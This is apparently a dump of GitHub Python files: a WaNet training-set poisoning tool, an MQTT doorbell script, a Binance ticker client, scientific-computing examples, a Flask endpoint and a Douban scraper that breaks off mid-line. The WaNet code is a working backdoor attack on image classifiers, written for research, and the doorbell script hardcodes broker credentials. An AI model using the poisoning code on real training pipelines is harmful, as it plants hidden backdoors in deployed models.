+{"seq_id":"28906902782","text":"import os\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\nimport random\nfrom torchvision.utils import save_image\nfrom config import poison_seed\n\n\"\"\"\nWaNet (static poisoning). https://github.com/VinAIResearch/Warping-based_Backdoor_Attack-release\n\"\"\"\n\nclass poison_generator():\n\n def __init__(self, img_size, dataset, poison_rate, cover_rate, path, identity_grid, noise_grid, s=0.5, k=4, grid_rescale=1, target_class=0):\n\n self.img_size = img_size\n self.dataset = dataset\n self.poison_rate = poison_rate\n self.cover_rate = cover_rate \n self.path = path # path to save the dataset\n self.target_class = target_class # by default : target_class = 0\n\n # number of images\n self.num_img = len(dataset)\n \n self.s = s\n self.k = k\n self.grid_rescale = grid_rescale\n self.identity_grid = identity_grid\n self.noise_grid = noise_grid\n\n def generate_poisoned_training_set(self):\n torch.manual_seed(poison_seed)\n random.seed(poison_seed)\n\n # random sampling\n id_set = list(range(0,self.num_img))\n random.shuffle(id_set)\n num_poison = int(self.num_img * self.poison_rate)\n poison_indices = id_set[:num_poison]\n poison_indices.sort() # increasing order\n\n num_cover = int(self.num_img * self.cover_rate)\n cover_indices = id_set[num_poison:num_poison+num_cover] # use **non-overlapping** images to cover\n cover_indices.sort()\n\n \n img_set = []\n label_set = []\n pt = 0\n ct = 0\n cnt = 0\n\n poison_id = []\n cover_id = []\n\n\n grid_temps = (self.identity_grid + self.s * self.noise_grid / self.img_size) * self.grid_rescale\n grid_temps = torch.clamp(grid_temps, -1, 1)\n\n ins = torch.rand(1, self.img_size, self.img_size, 2) * 2 - 1\n grid_temps2 = grid_temps + ins / self.img_size\n grid_temps2 = torch.clamp(grid_temps2, -1, 1)\n\n for i in range(self.num_img):\n img, gt = self.dataset[i]\n\n # noise image\n if ct < num_cover and cover_indices[ct] == i:\n cover_id.append(cnt)\n img = F.grid_sample(img.unsqueeze(0), grid_temps2, align_corners=True)[0]\n ct+=1\n\n # poisoned image\n if pt < num_poison and poison_indices[pt] == i:\n poison_id.append(cnt)\n gt = self.target_class # change the label to the target class\n img = F.grid_sample(img.unsqueeze(0), grid_temps, align_corners=True)[0]\n pt+=1\n\n # img_file_name = '%d.png' % cnt\n # img_file_path = os.path.join(self.path, img_file_name)\n # save_image(img, img_file_path)\n # print('[Generate Poisoned Set] Save %s' % img_file_path)\n \n img_set.append(img.unsqueeze(0))\n label_set.append(gt)\n cnt+=1\n\n img_set = torch.cat(img_set, dim=0)\n label_set = torch.LongTensor(label_set)\n poison_indices = poison_id\n cover_indices = cover_id\n print(\"Poison indices:\", poison_indices)\n print(\"Cover indices:\", cover_indices)\n\n # demo\n img, gt = self.dataset[0]\n img = F.grid_sample(img.unsqueeze(0), grid_temps, align_corners=True)[0]\n save_image(img, os.path.join(self.path, 'demo.png'))\n\n return img_set, poison_indices, cover_indices, label_set\n\n\nclass poison_transform():\n\n def __init__(self, img_size, normalizer, denormalizer, identity_grid, noise_grid, s=0.5, k=4, grid_rescale=1, target_class=0):\n\n self.img_size = img_size\n self.normalizer = normalizer\n self.denormalizer = denormalizer\n self.target_class = target_class\n\n self.s = s\n self.k = k\n self.grid_rescale = grid_rescale\n self.identity_grid = identity_grid.cuda()\n self.noise_grid = noise_grid.cuda()\n\n def transform(self, data, labels):\n grid_temps = (self.identity_grid.to(data.device) + self.s * self.noise_grid.to(data.device) / self.img_size) * self.grid_rescale\n grid_temps = torch.clamp(grid_temps, -1, 1)\n\n data, labels = data.clone(), labels.clone()\n data = self.denormalizer(data)\n data = F.grid_sample(data, grid_temps.repeat(data.shape[0], 1, 1, 1), align_corners=True)\n data = self.normalizer(data)\n labels[:] = self.target_class\n\n # debug\n # from torchvision.utils import save_image\n # from torchvision import transforms\n # normalizer = transforms.Normalize([0.4914, 0.4822, 0.4465], [0.247, 0.243, 0.261])\n # denormalizer = transforms.Normalize([-0.4914/0.247, -0.4822/0.243, -0.4465/0.261], [1/0.247, 1/0.243, 1/0.261])\n # # normalizer = transforms.Compose([\n # # transforms.Normalize((0.3337, 0.3064, 0.3171), (0.2672, 0.2564, 0.2629))\n # # ])\n # # denormalizer = transforms.Compose([\n # # transforms.Normalize((-0.3337 / 0.2672, -0.3064 / 0.2564, -0.3171 / 0.2629),\n # # (1.0 / 0.2672, 1.0 / 0.2564, 1.0 / 0.2629)),\n # # ])\n # save_image(denormalizer(data)[0], 'b.png')\n\n return data, labels","repo_name":"vtu81/backdoor-toolbox","sub_path":"poison_tool_box/WaNet.py","file_name":"WaNet.py","file_ext":"py","file_size_in_byte":5256,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"53"}
+{"seq_id":"31693955292","text":"#!/usr/bin/env python3\n# https://pypi.org/project/paho-mqtt/\n\n# sudo apt install python3 python3-pip\n# pip install paho-mqtt\n\n# starten: python3 ring.py\n\nimport paho.mqtt.client as mqtt\nimport os\nimport syslog\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected with result code \"+str(rc))\n #client.subscribe(\"$SYS/#\") # alle System-Msg. vom Broker\n #client.subscribe(\"hc/#\")\n client.subscribe(\"hc/light/37/-->/state\") # DG, aber nur die 81 setzt Trafo unter Spg. \n client.subscribe(\"hc/switch/81/-->/state\") # EG Audiohinweis\n\ndef on_message(client, userdata, msg):\n payload = msg.payload.decode('utf-8') # bin-str 2 str (oder: 'ascii')\n if payload == \"ON\":\n print(\"\\nklingeln\")\n print(msg.topic+\" \"+payload)\n else:\n print(\"\\n--aus--\")\n print(msg.topic+\" \"+payload)\n syslog.syslog(syslog.LOG_INFO, msg.topic+\" \"+str(payload))\n myCmd = \"mplayer /etc/hcan/doorbell.mp3\"\n os.system(myCmd)\n\n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\n\n\n#syslog.openlog(\"ring\", LOG_CONS|LOG_NDELAY|LOG_PERROR|LOG_PID, LOG_LOCAL7)\n\nclient.username_pw_set(username=\"hcan\",password=\"n_A_c\")\nclient.connect(\"localhost\", 1883, 60) # \"192.168.1.30\" \"mqtt.eclipseprojects.io\"\nclient.loop_forever()\n","repo_name":"hcanIngo/openHCAN","sub_path":"pi/ring.py","file_name":"ring.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"53"}
+{"seq_id":"42728138815","text":"# -*- coding: utf-8 -*-\n# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\nimport commands\ndef command(cmd,timeout = 60*10):\n e, res = commands.getstatusoutput(\"/usr/bin/timeout %s %s\" % (timeout, cmd))\n if e == 31744:\n return -2, \"subprocess timeout\" \n try:\n return e, str(res).decode(\"utf-8\")\n except:\n return e, str(res)\n","repo_name":"saxisuer/smartmgr-v2","sub_path":"pdsframe/common/long_work.py","file_name":"long_work.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71190391848","text":"from h5py import Group\nfrom pydantic.fields import Field\n\nfrom ..enums import ReferenceTypes\nfrom ..geometry import *\nfrom ..reference_resolving import *\n\n\nclass FlatMarking(InputClassBase):\n color: ReferenceTypes.FlatMarkingColor\n polyline: Polyline\n type: ReferenceTypes.FlatMarkingType\n value: int\n overridden_by: ReferenceDict = Field(default_factory=lambda: ReferenceDict([], FlatMarking))\n overrides: ReferenceDict = Field(default_factory=lambda: ReferenceDict([], FlatMarking))\n condition: ReferenceTypes.FlatMarkingCondition = ReferenceTypes.FlatMarkingCondition.UNKNOWN\n layer_flag: ReferenceTypes.LayerFlag = ReferenceTypes.LayerFlag.PERMANENT_GENERAL\n\n @classmethod\n def from_hdf5(cls, group: Group, validate: bool = True, legacy=None):\n func = cls if validate else cls.construct\n self = func(\n color=ReferenceTypes.FlatMarkingColor(group.attrs[\"color\"]),\n condition=ReferenceTypes.FlatMarkingCondition(group.attrs[\"condition\"]),\n type=ReferenceTypes.FlatMarkingType(group.attrs[\"type\"]),\n value=group.attrs[\"value\"].astype(int),\n layer_flag=ReferenceTypes.LayerFlag(group.attrs[\"layerFlag\"]),\n polyline=Polyline.from_hdf5(group, validate=validate),\n overrides=ReferenceDict(group['overrides'], FlatMarking),\n overridden_by=ReferenceDict(group['overriddenBy'], FlatMarking)\n )\n return self\n\n @classmethod\n @raise_not_resolved\n def resolve_func(cls, input_recording, i):\n assert len(i) == 3\n return input_recording.roads[i[0]].lanes[i[1]].flat_markings[i[2]]\n\n def to_hdf5(self, group: Group):\n group.create_dataset('overriddenBy', data=self.overridden_by.reference)\n group.create_dataset('overrides', data=self.overrides.reference)\n group.attrs.create('color', data=self.color)\n group.attrs.create('condition', data=self.condition)\n group.attrs.create('layerFlag', data=self.layer_flag)\n group.attrs.create('type', data=self.type)\n group.attrs.create('value', data=self.value)\n self.polyline.to_hdf5(group)\n","repo_name":"ika-rwth-aachen/omega_format","sub_path":"omega_format/road/flat_marking.py","file_name":"flat_marking.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"}
+{"seq_id":"7573526855","text":"'''quick OLS example'''\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pymc3 as pm\nfrom scipy import optimize\n\n\n\n\n### Simulate some OLS data\n### Two predictor variables and an intercept\n\n# Initialize random number generator\nnp.random.seed(123)\n\n# True parameter values\n# alpha = intercept; sigma = prediction error\nalpha, sigma = 1, 1\nbeta = [1, 2.5]\n\n# Size of dataset\nsize = 100\n\n# Predictor variable\nX1 = np.random.randn(size)\nX2 = np.random.randn(size) * 0.2\n\n# Simulate outcome variable\nY = alpha + beta[0]*X1 + beta[1]*X2 + np.random.randn(size)*sigma\n\n### Estimation\nbasic_model = pm.Model()\n\n\nwith basic_model:\n\n # Priors for unknown model parameters\n # i.e. stochastic random variables -- in our case, to be estimated\n alpha = pm.Normal('alpha', mu=0, sd=10)\n beta = pm.Normal('beta', mu=0, sd=10, shape=2) # note this is a 2-length VECTOR of betas; shape=2\n sigma = pm.HalfNormal('sigma', sd=1)\n\n # Expected value of outcome\n # deterministic relationship\n mu = alpha + beta[0]*X1 + beta[1]*X2\n\n # Likelihood (sampling distribution) of observations\n # this is an OBSERVED STOCHASTIC node\n # note parent-child relationships to mu, sigma\n Y_obs = pm.Normal('Y_obs', mu=mu, sd=sigma, observed=Y)\n\n\n\n # Obtain maximum a posteriori (MAP) estimates\n ### NOTE: can fail miserably in high dimensions, sparse models, multi-model posteriors, etc.\n map_estimate = pm.find_MAP(model=basic_model)\n\n # a dict of VARNAME -> Estimates\n map_estimate\n\n ### MCMC Inference\n\n # draw 500 posterior samples\n trace = pm.sample(draws=100, chains=3, cores=3, mp_ctx=\"spawn\")\n\n\n\n\n# plot some posteriors\n#_ = pm.traceplot(trace) # good mixing\n\n# summary of the trace\n#pm.summary(trace) # rhatt near 1.0\n\n\n'''\n# trying multi-core\nwith basic_model:\n# draw 500 posterior samples\ntrace = pm.sample(draws=200, chains=3, cores=3)\n'''","repo_name":"nhdanneman/pymc3_examples","sub_path":"ols_example.py","file_name":"ols_example.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"37652208351","text":"from hw_asr.base.base_text_encoder import BaseTextEncoder\nfrom json import load\n\nwith open('data/datasets/librispeech/train-clean-100_index.json', 'r') as dataset:\n data = load(dataset)\n\ntexts = []\nfor row in data:\n texts.append(BaseTextEncoder.normalize_text(row['text']))\n\nwith open(\"hw_asr/text_encoder/train_data_new_line.txt\", \"w\") as file:\n for text in texts:\n file.write(text + '\\n')\n","repo_name":"maximkm/DLA_ASR_HW","sub_path":"hw_asr/text_encoder/generate_lm_data.py","file_name":"generate_lm_data.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"14035625039","text":"import xml.etree.ElementTree as ET\nfrom flask import request, Blueprint\nfrom Modules.Account.Config import accountUpdateSchemaLocation, accountsUpdateXmlSchemaLocation, accountUpdateXmlDataLocation\nfrom Modules.Util import validateJsonResponse, validateXmlResponse\n\nupdateAccounts = Blueprint('updateAccounts', __name__)\n\n\n# UPDATE\n@updateAccounts.route('/accountUpdate', methods=['POST'])\ndef updateAccount():\n from appRestApi import Account, db\n if (request.is_json):\n accountData = request.get_json()\n\n # Validates sent JSON before update\n if validateJsonResponse(accountUpdateSchemaLocation, accountData) == False:\n Account.query.filter_by(id=accountData['id']).update(dict(email=accountData['email']))\n db.session.commit()\n db.session.close()\n\n else:\n updateAccountXml()\n\n return \"Successfuly updated account!\"\n\n\n# UPDATE WITH XML\ndef updateAccountXml():\n from appRestApi import Account, db\n accountData = request.get_data()\n\n # Transforms data received into a non-flat xml file\n info = ET.fromstring(accountData)\n tree = ET.ElementTree(info)\n tree.write(accountUpdateXmlDataLocation)\n\n if validateXmlResponse(accountsUpdateXmlSchemaLocation, accountUpdateXmlDataLocation) == True:\n print(\"Successfuly validated xml!\")\n\n # Iterates over xml and finds necessarry data belonging to tags\n for item in tree.iter('account'):\n updatedAccountID = item.find('id').text\n updatedAccountContent = item.find('email').text\n\n Account.query.filter_by(id=updatedAccountID).update(dict(email=updatedAccountContent))\n db.session.commit()\n db.session.close()\n\n return \"Successfuly updated account!\"\n","repo_name":"stefanuntura/dataProcessingAPI","sub_path":"Modules/Account/UPDATE.py","file_name":"UPDATE.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41608611925","text":"#!/usr/bin/env python\n\n# url for problem here\n\nimport unittest\nfrom pprint import pprint\nimport random\n\n\ndef to_number(s):\n arr = list(map(int, list(s)))\n result = 0\n for b in arr:\n result *= 2\n result += b\n return result\n\n\ndef solution(s, k):\n # if the number of substrings of size k is less than 2 ** k, game over\n\n l = len(s)\n if l < k:\n return False\n\n nsubstrings = l - k + 1\n if nsubstrings < 2 ** k:\n return False\n\n # turn all of the substrings into numbers. efficiently\n mask = 2 ** k - 1\n n = to_number(s[:k])\n\n all_values = set()\n all_values.add(n)\n\n for end in range(k, l):\n n = n * 2\n n &= mask\n if s[end] == '1':\n n += 1\n all_values.add(n)\n\n for i in range(2 ** k):\n if i not in all_values:\n return False\n\n return True\n\n\nif __name__ == '__main__':\n pass\n\n\nclass MyTest(unittest.TestCase):\n def test_1(self):\n s = \"00110\"\n k = 2\n self.assertTrue(solution(s, k))\n","repo_name":"altoid/leetcode","sub_path":"py/string_contains_binary_codes_1461.py","file_name":"string_contains_binary_codes_1461.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35693226609","text":"from functools import cmp_to_key\nt = [100, 50, 20, 5, 1]\ndef change(t, n):\n \"\"\"\n 找零问题\n \"\"\"\n m = [0 for _ in range(len(t))]\n for i, money in enumerate(t):\n m[i] = n // money\n n %= money\n return m, n\n\ndef fraction_backpack(goods, w):\n goods.sort(key=lambda x:x[0]/x[1], reverse=True)\n res = [0 for _ in range(len(goods))]\n total_v = 0\n for i, (prize, weight) in enumerate(goods):\n if w >= weight:\n res[i] = 1\n w -= weight\n total_v += prize\n else:\n res[i] = w/weight\n total_v += res[i] * prize\n break\n return total_v, res\n\ndef xy_cmp(x, y):\n if x+y < y+x:\n return 1\n elif x+y > y+x:\n return -1\n else:\n return 0\n\ndef number_join(ls):\n \"\"\"\n 拼数问题:\n 把list里的数按照string相加的方式合并然后返回可以组成的最大数\n \"\"\"\n ls = list(map(str, ls))\n ls.sort(key=cmp_to_key(xy_cmp))\n return \"\".join(ls)\n\ndef activity_selection(a):\n res = [a[0]]\n for i in range(1, len(a)):\n if a[i][0] >= res[-1][1]:\n res.append(a[i])\n return res\n\nif __name__ == \"__main__\":\n goods = [(60, 10), (100, 20), (120, 30)] # 每个商品元组表示(价格,重量)\n ls = [32, 94, 128, 1286, 6, 71]\n activities = [(1,4),(3,5),(0,6),(5,7),(3,9),(5,9),(6,10),(8,11),(8,12),(2,14),(12,16)]\n activities.sort(key=lambda x:x[1])\n # print(change(t, 1001))\n # print(fraction_backpack(goods, 50))\n # print(number_join(ls))\n print(activity_selection(activities))","repo_name":"ZHIXIANHU021/Algorithm_and_Data_Structure","sub_path":"Greedy Algorithm.py","file_name":"Greedy Algorithm.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"25118261052","text":"# control flow is order in which program's code execute\n# conditional statements (if,elif,else) can be used with control flowc\n# loops are used to repeat a specific block of code\n# function is piece of code that do specific\n\n# if statements used to check conditions before it executes\na = 7\nb = 8\n\nif a < b:\n print(a, \"is smaller than\", b)\n\n# else statements executes if conditions checked evaluates to false\na = 7\nb = 8\nc = 9\n\nif a > b:\n print(a, \" is smaller than\", b)\nelif b >= c:\n print(b, \" is smaller than \", c)\nelse:\n print(c, \"is larger than\", b, \"and\", a)\n\n# while loop statements used to run continuously as long as condition true\ni = 1\n\nwhile i < 7:\n print(i)\n i += 1\n\n# for loop used to iterate over a sequence usally list,tuple,dictionary,set,string\nfruits = [\"grapes\",\"berries\",\"oranges\"]\n\nfor x in fruits:\n print(x)\n\n# Nested loop is a loop insdie a loop\ncolurs = [\"green\",\"yellow\",\"purple\"]\n\nfor x in colurs:\n for y in fruits:\n print(x,y)\n\n# Break is used to terminate the loop\ni = 1\n\nwhile i < 8:\n print(i)\n if i==3:\n break\n i += 1\n\n# continue used to stop current iteration and continue with iteration of loop\ni = 0\n\nwhile i < 8:\n i += 1\n if i==4:\n continue\n print(i)\n","repo_name":"mkumar2307/Python_Practise","sub_path":"control_flow_statements.py","file_name":"control_flow_statements.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74516972646","text":"import numpy as np\nfrom matplotlib import pyplot as plt\n\niterations = 100\na = 0.1\nb = 5\nx = np.linspace(a, b)\nx_k = (a+b)/2\n\ndef f(x):\n return (8 * np.log(x) + 8) / 5\n\ndef g(x):\n return x - 0.1*f(x)\n\nplt.figure(figsize=(8,8))\nplt.title('Метод простої ітерації')\nplt.grid(True)\nplt.plot(x, x, 'g')\nplt.plot(x, g(x), 'r')\n\n\ndef fixed_point(iterations,eps,x_k):\n for k in range(iterations):\n\n g_x_k = g(x_k)\n if abs(g_x_k - x_k) < eps:\n return g_x_k\n else:\n plt.plot([x_k, x_k], [x_k, g(x_k)], 'b')\n x_k_plus_1 = g(x_k)\n plt.plot([x_k, g(x_k)], [x_k_plus_1, x_k_plus_1], 'b')\n x_k = x_k_plus_1\n print(f\"In {k+1} iteration x = {x_k_plus_1}\")\n\n\nfixed_point(100, 0.0001,x_k)\nplt.show()","repo_name":"Dimaaasik/OMAPS","sub_path":"lr3.py","file_name":"lr3.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"1079888432","text":"import asyncio\nimport json\nimport time\nfrom datetime import datetime\n\nimport aiohttp as aiohttp\nimport requests\n\nfrom logger import LOG\nfrom services.binance import urls\nfrom services.data_models import ExchangeTickerModel\nfrom services.client_interface import ClientInterface\n\n\nclass BinanceClient(ClientInterface):\n exchange = 'binance'\n\n def __init__(self, loop=None, *args, **kwargs):\n # self.loop = loop or asyncio.get_event_loop()\n self.tickers_base_quote = self._get_tickers_base_quote_matcher()\n\n def request(self, url: str):\n LOG.debug(url)\n response = requests.get(url)\n LOG.info(f'url: {url} status code: {response.status_code}')\n return response.json()\n\n async def fetch(self, url):\n \"\"\"\n Send a GET request to the binance api\n @return response\n \"\"\"\n async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(verify_ssl=False)) as session:\n LOG.info(f'GET {url}')\n async with session.get(url) as resp:\n text = await resp.text()\n LOG.info(f'response - {text}')\n if resp.status != 200:\n raise Exception(f'GET {url} failed with status {resp.status} - {text}')\n parsed = json.loads(text, parse_float=float)\n return parsed\n\n def _get_tickers_base_quote_matcher(self):\n tickers_info = self.request(urls.symbols)\n tickers = tickers_info.get('symbols')\n ticker_base_quote = dict()\n for ticker in tickers:\n ticker_base_quote[ticker.get('symbol')] = (ticker.get('baseAsset'), ticker.get('quoteAsset'))\n return ticker_base_quote\n\n async def _get_info_tickers(self):\n tickers_info = await self.fetch(urls.all_tickers)\n LOG.info(f'Getting {len(tickers_info)} tickers')\n return tickers_info\n\n async def get_updates(self):\n LOG.info('Start get update method')\n tickers = await self._get_info_tickers()\n ts = time.time()\n dt = datetime.fromtimestamp(ts)\n res_list = list()\n for ticker in tickers:\n if self.tickers_base_quote.get(ticker.get('symbol')) is not None:\n ticker['base'] = self.tickers_base_quote[ticker.get('symbol')][0]\n ticker['quote'] = self.tickers_base_quote[ticker.get('symbol')][1]\n res_list.append(self._normalize_response(ticker, dt))\n return res_list\n\n def _normalize_response(self, raw_ticker_data: dict, created_time) -> ExchangeTickerModel:\n symbol = raw_ticker_data.get('symbol')\n return ExchangeTickerModel(\n exchange=self.exchange,\n symbol=symbol,\n base=self.tickers_base_quote[symbol][0],\n quote=self.tickers_base_quote[symbol][1],\n last_price=raw_ticker_data.get('lastPrice'),\n time_received=created_time\n )\n\n\nif __name__ == '__main__':\n binance = BinanceClient()\n print(binance.get_updates())\n","repo_name":"utkini/collector_quotes","sub_path":"app/services/binance/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9354000190","text":"import copy\n\nimport numpy as np\n\nfrom pymoo.model.individual import Individual\n\n\nclass Population(np.ndarray):\n\n def __new__(cls, n_individuals=0, individual=Individual()):\n obj = super(Population, cls).__new__(cls, n_individuals, dtype=individual.__class__).view(cls)\n for i in range(n_individuals):\n obj[i] = individual.copy()\n obj.individual = individual\n return obj\n\n @classmethod\n def merge(cls, a, b):\n a, b = pop_from_array_or_individual(a), pop_from_array_or_individual(b)\n\n if len(a) == 0:\n return b\n elif len(b) == 0:\n return a\n else:\n obj = np.concatenate([a, b]).view(Population)\n obj.individual = a.individual\n return obj\n\n def copy(self, deep=False):\n # self.individual -> Individual()\n pop = Population(n_individuals=len(self), individual=Individual())\n for i in range(len(self)):\n val = copy.deepcopy(self[i]) if deep else self[i]\n pop[i] = val\n return pop\n\n def has(self, key):\n return all([ind.has(key) for ind in self])\n\n def __deepcopy__(self, memo):\n return self.copy()\n\n @classmethod\n def create(cls, *args):\n pop = np.concatenate([pop_from_array_or_individual(arg) for arg in args]).view(Population)\n pop.individual = Individual()\n return pop\n\n def new(self, *args):\n\n if len(args) == 1:\n return Population(n_individuals=args[0], individual=self.individual)\n else:\n n = len(args[1]) if len(args) > 0 else 0\n pop = Population(n_individuals=n, individual=self.individual)\n if len(args) > 0:\n pop.set(*args)\n return pop\n\n def collect(self, func, to_numpy=True):\n val = []\n for i in range(len(self)):\n val.append(func(self[i]))\n if to_numpy:\n val = np.array(val)\n return val\n\n def set(self, *args):\n\n for i in range(int(len(args) / 2)):\n\n key, values = args[i * 2], args[i * 2 + 1]\n is_iterable = hasattr(values, '__len__') and not isinstance(values, str)\n\n if is_iterable and len(values) != len(self):\n print(key)\n print(values)\n print(len(values), len(self))\n raise Exception(\"Population Set Attribute Error: Number of values and population size do not match!\")\n\n for i in range(len(self)):\n val = values[i] if is_iterable else values\n self[i].set(key, val)\n\n return self\n\n def get(self, *args, to_numpy=True):\n\n val = {}\n for c in args:\n val[c] = []\n\n for i in range(len(self)):\n\n for c in args:\n val[c].append(self[i].get(c))\n\n res = [val[c] for c in args]\n if to_numpy:\n res = [np.array(e) for e in res]\n\n if len(args) == 1:\n return res[0]\n else:\n return tuple(res)\n\n def __array_finalize__(self, obj):\n if obj is None:\n return\n self.individual = getattr(obj, 'individual', None)\n\n\ndef pop_from_array_or_individual(array, pop=None):\n # the population type can be different - (different type of individuals)\n if pop is None:\n pop = Population()\n\n # provide a whole population object - (individuals might be already evaluated)\n if isinstance(array, Population):\n pop = array\n elif isinstance(array, np.ndarray):\n pop = pop.new(\"X\", np.atleast_2d(array))\n elif isinstance(array, Individual):\n pop = Population(1)\n pop[0] = array\n else:\n return None\n\n return pop\n\n\nif __name__ == '__main__':\n pop = Population(10)\n pop.get(\"F\")\n pop.new()\n print(\"\")\n","repo_name":"AIasd/ADFuzz","sub_path":"pymoo/pymoo/model/population.py","file_name":"population.py","file_ext":"py","file_size_in_byte":3820,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"53"}
+{"seq_id":"70848679207","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\nx=np.linspace(-1,1,50)\ny1=x*x\n\ny2=x**3\n\n\n\n\n\nplt.figure()\nplt.plot(x,y1)\n\n\n\nplt.figure()\nplt.plot(x,y1)\nplt.plot(x,y2,c='red',ls='--',lw=10)\nplt.xlim(-1,2)\nplt.xlim(0,3)\nplt.xlabel('i am x')\nplt.ylabel('i am y')\n\nnew_ticks=np.linspace(-1,2,5)\n\n\nprint(new_ticks)\n\nplt.xticks(new_ticks)\n# 这里告诉我们matplotlib是支持latex的\nplt.yticks([-2,-1.8,-1,1.22,3,\n ],\n [r'$really\\ bad$',r'$bad$',r'$5_1$',r'$good$',r'$really\\ good$'\n ])\n\n\n\nplt.show()\n","repo_name":"elliottzheng/MyselfLearning","sub_path":"LearnMatplotlib/axis.py","file_name":"axis.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74656823527","text":"# encoding=utf-8\n\"\"\"\nName: douban250\nDescription: \nAuthor: Administrator\nDate: 2019/10/28\n\"\"\"\n# 下载页面模块\nimport requests\n# 分析页面\nimport bs4\n# 处理表格\nimport openpyxl\n# 目录控制\nimport os\n# 日志模块\nimport logging\n# 随机数生成,用来模拟ip\nimport random\n# 控制运行时间\nimport time\n\n'''日志设置'''\nlogging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s - %(message)s')\n\n'''\n全局变量\n'''\n# 工作目录\nWORKPATH = \"H:/python/bookTask\"\n# 下载链接\nURL = 'https://movie.douban.com/top250?start='\n# 页数\nPAGENUM = 0\n# 表名\nSHEETNAME = '豆瓣电影250'\n# 文件名\nWORKBOOKNAME = '豆瓣电影250_2.xlsx'\n# 记录当前写入行数\nROWNUM = 2\n# 爬取间隔时间,2s\nT = 2\n\n'''\n数据结构\n'''\n# 存储电影名\nlist_name = []\n# 存储电影信息,dic_name={'电影名':dic_detail},dic_detail={'列名','信息'}\ndic_name = {}\ndic_detail = {}\n# 存储评分,存储结构与上面一样\ndic_star_name = {}\ndic_star_detail = {}\n\n'''\n工作目录设置\n'''\nos.chdir(WORKPATH)\n\n'''\n方法\n'''\n\n\n# 去除字符串空格、换行方法\ndef delspace(string):\n # 去除换行\n string = string.replace('\\n', '')\n # 去除空格\n string = string.replace(' ', '')\n string = string.replace('\\xa0', '')\n # 去除两边空格\n string = string.strip()\n return string\n\n\n# 去除字符串空格,不去换行方法\ndef delspace0(string):\n # 去除空格\n string = string.replace(' ', '')\n string = string.replace('\\xa0', '')\n # 去除两边空格\n string = string.strip()\n return string\n\n\n# j标记list下标\nj = 0 # 存储信息用\nk = 0 # 存储评分用\nwhile True:\n '''\n 获取页面数据\n '''\n # 更改页号,拼接URL\n openurl = URL + str(PAGENUM)\n logging.debug('openurl:' + openurl)\n # 为避免ip被封,限制每分钟爬取次数\n time.sleep(T)\n # 获取网页,得到response对象\n response = requests.get(openurl)\n # logging.debug('页面:'+response.text)\n # 防止乱码\n response.encoding = response.apparent_encoding\n # 监控获取网页状态\n response.raise_for_status()\n # 获取soup对象,用于分析网页\n soup = bs4.BeautifulSoup(response.text)\n # 直接在div下的a元素,找到电影名\n elems_name = soup.select('div>a')\n # 找div下的直接p元素,找到电影信息(导演、演员、时间、地区、类型)\n elems_detail = soup.select('div>p')\n # 找CSS class属性为star的\n elems_score = soup.select('.star')\n '''数据结构中存储数据'''\n # 存储电影名\n for i in range(7, len(elems_name) - 11):\n # 获取电影名\n movieName = str(elems_name[i].getText())\n # 去除空格、换行\n movieName = delspace(movieName)\n # 如果全是空格,跳过\n if movieName.isspace() or len(movieName) == 0:\n logging.debug('跳过')\n continue\n # 将电影名添加到list中\n logging.debug('movieName:' + movieName)\n list_name.append(movieName)\n logging.debug('++++++++++++++++++++++++长度=' + str(len(elems_detail)))\n '''存储电影信息'''\n # 循环读取页面中获得的信息\n for i in range(2, len(elems_detail), 2):\n logging.debug('---------i=' + str(i) + '')\n # 读取到信息结束前一个跳出,最后一个不是信息,不读取,同时防止越界\n if i == len(elems_detail) - 1:\n break\n # 获取电影信息\n movieDetail = str(elems_detail[i].getText())\n # 获取电影简介\n movieShort = str(elems_detail[i + 1].getText())\n # 去除空格,不去换行\n # movieDetail=delspace0(movieDetail)\n # 详细信息去两边空格\n movieDetail = movieDetail.strip()\n # 简介去除空格\n movieShort = delspace(movieShort)\n logging.debug('信息:' + movieDetail)\n logging.debug('简介:' + movieShort)\n # 全是空格,跳过\n if movieDetail.isspace() or len(movieDetail) == 0 or movieDetail == 'xa0':\n logging.debug('跳过')\n continue\n if movieShort.isspace() or len(movieShort) == 0:\n logging.debug('跳过')\n continue\n '''处理电影信息字符串'''\n # 通过换行先分成两部分,导演主演、时间/地区/类型,返回数据类型为列表\n temp_list = movieDetail.split('\\n')\n # 导演和主演\n temp_temp_list = 